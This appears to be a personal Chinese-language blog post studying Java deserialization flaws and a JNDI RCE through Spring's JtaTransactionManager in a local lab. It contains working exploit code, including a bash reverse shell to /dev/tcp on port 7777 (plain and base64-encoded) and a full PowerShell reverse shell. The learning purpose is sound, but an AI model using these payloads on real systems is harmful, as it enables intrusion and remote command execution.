1. 前言
前阵子和师傅们一起”学习”的时候碰到了个Java反序列化的漏洞,师傅说生成个payload上传就可以了,思索半天也不会,顿感颓废,所以决定学习下Java反序列化这块的知识。随手记录下自己文档,养成个好习惯。
2. 序列化与反序列化
2.1 什么是序列化
Java序列化是指把Java对象转换为字节序列的过程,便于保存在内存、文件、数据中。
Java反序列化是指把字节序列恢复为Java对象的过程。
序列化和反序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。主要应用场景如下:
- HTTP:多平台之间的通信、管理等
- RMI:是Java的一组用户开发分布式应用程序的API,实现了不同操作系统之间程序的方法调用。需要注意的是,RMI的传输100%基于反序列化,Java RMI的默认端口是1099
- JMX:JMX是一套标准的代理和服务,用户可以在任何Java应用程序中使用这些代理和服务来实现管理,中间软件WebLogic的管理页面就是基于JMX开发的,而JBoss整个系统都基于JMX架构。
2.2 序列化成因
序列化通过ObjectInputStream.readObject()
实现
反序列化通过ObjectOutputStream.writeObject()
实现
在Java中任何类如果想要序列化必须实现java.io.Serializable
接口
1 | public class Hello implements java.io.Serializable { |
java.io.Serializable
其实是一个空接口,在Java中该接口的唯一作用就是对一个类做一个标记,让jre
确定这个类是可以序列化的。
同时Java中支持在类中定义如下函数:
1 | private void writeObject(java.io.ObjectOutputStream out) |
这两个函数不是java.io.Serializable
的接口函数,而是约定函数,如果一个类实现了这两个函数,那么在序列化和反序列化的时候ObjectInputStream.readObject()
和ObjectOutputStream.writeObject()
会主动调用这两个函数。这同样也是反序列化产生的根本原因。
比如:
1 | public class Hello implements java.io.Serializable { |
该类在反序列化的时候会执行命令,我们构造一个序列化的对象,name为恶意命令,那么在反序列化的时候就会执行恶意命令。
在反序列化的过程中,攻击者仅能够控制”数据”,无法控制如何执行,因此必须借助被攻击应用中的具体场景来实现攻击目的,例如上例中存在一个执行命令的可以序列化的类(Hello),利用该类的readObject函数中的命令执行场景来实现攻击。
本质上来看,还是因为暴露或间接暴露了反序列化API,导致用户可以操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码。
两个或多个看似安全的模块在同一运行环境下,共同产生的安全问题。
2.3 漏洞基本原理
这里我们采用别的师傅的一篇文章中的Demo,来实现序列化与反序列化
1 | import java.io.FileInputStream; |
上面的代码将String
对象obj1
序列化后写入文件object
中,然后又从该文件反序列化得到该对象。
这里是我创建的Project
目录,object
文件即在此目录下
这里看师傅的文章,还发现了一个很好用的命令xxd
,可以用来查看文件的hex值等等(git bash自带)
上图中的object
的内容中,ac ed 00 05
是Java序列化内容的特征,如果经过base64编码,则为rO0ABQ==
xxd使用帮助如下
1 | > xxd -h |
看完了上面那段代码,我们接着再来看一段代码。这段代码中自定义了一个class来进行对象的序列与反序列化。
1 | public class test { |
其中,MyObject
类有一个公有属性name
,myObj
实例化后将myObj.name
赋值为了”hi”,然后序列化写入文件object
序列化写入后就是我们的反序列化读取了,效果如下:
第二段代码中,MyObject
类实现了Serializable
接口,并且重写了readObecjt()
函数。值得注意的是,只有实现了Serializable
接口的类的对象才可以被序列化,Serilaizable
接口是启用其序列化功能的接口,实现java.io.Serializable
接口的类才是可以序列化的,没有实现此接口的类将不能使它们的任一状态被序列化或反序列化。
这里的readObject()
执行了Runtime.getRuntime().exec("calc.exe");
,而readObject()
方法的作用是从一个源输入流中读取字节序列,再把他们反序列化作为一个对象,然后将其返回,而readObject()
是可以重写的,我们可以拿它来定制一些危险的反序列化行为,比如反弹shell。
1 | Runtime.getRuntime().exec("bash -c 'exec bash -i &>/dev/tcp/192.168.7.129/7777 <&1'"); |
但是经过实际测试后发现,这行反弹shell的命令并不会执行。去找朋友问了后才知道,和Java里exec函数的实现有关系,需要改下编码才能运行。这里他丢了一个网站给我,上面也写了原因,直接贴图。
1 | https://x.hacking8.com/java-runtime.html |
所以我们最终的payload应该是这样的
1 | Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC43LjEyOS83Nzc3IDwmMSc=}|{base64,-d}|{bash,-i}"); |
这个时候我们重新编译代码后,在运行,就可以成功拿到回弹的shell了
3. JNDI RCE
3.1 环境搭建
为了搭建自己搭建测试环境,这里我先把我用到的版本一类的放在这了
1 | Spring Framework 4.2.4 |
附件的话我也放在了文末,有需要的话也可以自行下载,或者百度一下自行搜索。
接下来的一大段是文字描述,如果看不下去的话,也可以直接跳到下面的代码处,从那里看起。代码处是用图和代码来解释漏洞的,可能更容易理解一些。
3.2 文字解释
这里通过Spring Framework 4.2.4
来演示我们接下来的漏洞利用过程。JNDI RCE
利用了Java体系中的RMI
以及JNDI
来实现我们的最终目的,那么什么是RMI
与JNDI
呢?
RMI(Remote Method Invocation)即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口,常见的两种接口实现为JRMP(Java Remote Message Protocol),Java远程消息交换协议以及CORBA。
JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。JNDI支持的服务主要有以下几种:DNS、LDAP、CORBA对象服务、RMI等。
简单来讲,就是RMI
注册的服务可以让JNDI
应用程序来访问、调用。具体使用可以参考官方文档
在学习Spring
框架的序列化漏洞之前,我们还需要来了解下JNDI
的RCE
漏洞是如何实现的。正如上面写到的一样,JNDI
支持很多的服务类型,当服务类型为RMI
协议时,如果从RMI
注册服务中lookup
的对象类型为Reference
类型或者其子类时,会导致远程代码执行,Reference
类提供了两个比较重要的属性:className
以及codebase url
,className
为远程调用引用的类名,那么codebase url
则决定了在进行RMI
远程调用时对象的位置。此外,codebase url
支持http
协议,当远程调用类(通过lookup
来寻找)在RMI
服务器中的CLASSPATH
中不存在时,就会从指定的codebase url
来进行类的加载,如果两者都没有,远程调用就会失败。
JNDI RCE
漏洞产生的原因就在于当我们注册RMI
服务时,可以指定codebase url
,也就是远程要加载类的位置,设置该属性可以让JNDI
应用程序在加载时加载我们指定的类。这里还有一个值得注意的地方,也是触发恶意代码的点,当JNDI
应用程序通过lookup
(RMI
服务的地址)调用指定codebase url
上的类后,会调用被远程调用类的构造方法,所以如果我们将恶意代码放在被远程调用类的构造方法中时,漏洞就会触发。
JNDI的RCE可以用如下代码来解释:
1 | Registry registry = LocateRegistry.createRegistry(1999); |
上述代码使用了1999
端口来注册了RMI服务和绑定相应的调用对象,同时指定了要远程调用类的名称Exportobject
,以及上面所提到过的codebase url
地址为http://127.0.0.1:8000
。也就是说,当JNDI应用程序去调用RMI地址进行远程调用时,调用地址为rmi://127.0.0.1:9000/Object
。当JNDI应用程序在远程调用时,会去查找Object
名称绑定的类的位置,而这里我们制定了类的加载位置为http://127.0.0.1:8000
,所以最终实际加载类的地址为http://127.0.0.1:8000/ExportObject.class
。成功加载后会进行实例化,从而调用ExportObject
类的构造方法,如果我们将恶意代码放在要加载类的构造方法中,就会导致任意代码执行。
也就是说,我们Spring框架中的远程代码执行的缺陷在于spring-tx-xxx.jar
中的org.springframework.transaction.jta.JtaTransactionManager
类,该类实现了Java Transaction API
,主要功能是处理分布式的事务管理。
3.3 代码解释
上面我们用一大段的文字描述了漏洞的原理,那么为了大家更好的理解,我们接下来会用代码以及流程图来给大家更详细的解释下我们的漏洞原理及利用。
Server端代码
功能:监听某个端口,读取送达该端口的序列化后的对象,然后反序列化还原得到该对象。
1 | import java.io.ObjectInputStream; |
Client端代码
功能:发送序列化后的对象。
1 | import com.sun.jndi.rmi.registry.ReferenceWrapper; |
Payload代码
功能:定义恶意代码。
1 | import java.io.BufferedInputStream; |
重构的HTTP代码
功能:貌似是重写了个HTTP的文件读取功能,具体是啥我也不太清楚,看不太懂Java。
1 | import com.sun.net.httpserver.*; |
上面是我们用到的四段代码,当然除了这四段代码外,我们还需要有Spring的环境还有jdk版本的要求等。这里需要注意下,JNDI注入的话,对我们的JDK版本是有要求的,可以参考下面这段话。
这里因为我不会修改,或者绕过高版本的JDK然后利用,所以我干脆直接改了我的测试环境,整个了JDK8u_112的Java。
这里我先把攻击效果给大家看看,先运行Server端,然后在运行Client端
成功弹出计算器。大致流程图如下:
1 | stateDiagram |
这里Client向Server发送的payload是
1 | // JNDI调用地址 |
在上面我们已经讲过了,JtaTransactionManager
类存在问题,最终导致了漏洞的实现,这里向Server发送的序列化后的对象就是JtaTransactionManager
的对象。JtaTransactionManager
实现了Java Transaction API
,也就是我们所说的JTA,JTA允许应用程序执行分布式事务处理————在两个或多个网络计算机资源上访问并更新数据。
在最开始认知反序列化时我们也讲过,反序列化时会调用被序列化类的readObject()
方法,readObject()
可以重写而实现一些其他的功能。比如这里JtaTransactionManager
类的readObject()
方法如下:
1 | private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { |
方法initUserTransactionAndTransactionManager()
是用来初始化UserTransaction
以及TransactionManager
,关于这点我们从命名也可以看出来点。当然,我们最终还是要看代码的,命名规则只能做个参考
lookupUserTransaction()
方法又会调用JndiTemplate
的lookup()
方法:
而lookup()
方法的作用就是在当前JNDI上下文中查找具有给定名称的对象(绿色字体就是作用,翻一下就好)。所以我们可以看到在上面,我们序列化的JtaTransactionManager
对象使用了setUserTransactionName()
方法将jndiAddress(即 rmi://" + localAddress + ":1099/Object)
赋给了userTransactionName
。localAddress
即Client端IP,在Client代码开头有定义,如下:
1 | args = new String[]{"127.0.0.1", "9999", "127.0.0.1"}; |
到了这里,我们的漏洞也很明了了:
1 | stateDiagram |
写到这里,我们已经认知的差不多了,但是还是有些问题没有解决。userTransactionName
指向的rmi://" + localAddress + ":1099/Object
是如何将恶意类返回给Server的呢?
1 | // 注册端口1099 |
从代码中的Reference
中可以看到,我们最终返回的类其实是http://127.0.0.1:8000/ExportObject.class
,也就是我们上面的ExportObject.java
,其中的代码包含了执行弹出计算器的代码。
构造完利用链后,就是发送我们的payload了
1 | // 发送payload |
将我们构造的恶意类的payload发送至服务端,就可以成功执行代码了。当然,我们现在的代码只是弹了计算器。最终目的我们还是要弹个shell,改下payload里的代码即可
1 | String cmd = "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',7777);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""; |
运行服务端代码
开启监听,然后运行客户端代码
成功回弹shell,因为我这里是用本机开的环境,所以监听也是在本地启的。真实情况下一般是两台机子,服务端放在一台,客户端放在一台。但是我懒得调了,所以直接本地测试了。
3.4 利用小结
总的来说,其实就是利用了JtaTransactionManager
类中可以被控制的readObject()
方法,从而构造恶意的被序列化类,其中利用readObject()
会触发远程恶意类中的构造函数,从而达到我们的目的。
4. 参考链接
1 | java反序列化漏洞及其检测 |
5. 附件
1 | 链接:https://pan.baidu.com/s/1O6Eip5osBcCaME2KumPm1Q?pwd=kr92 |
发布时间: 2022-12-07
最后更新: 2022-12-14
本文标题: Java反序列化学习
本文链接: https://foxcookie.github.io/2022/12/07/Java反序列化/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!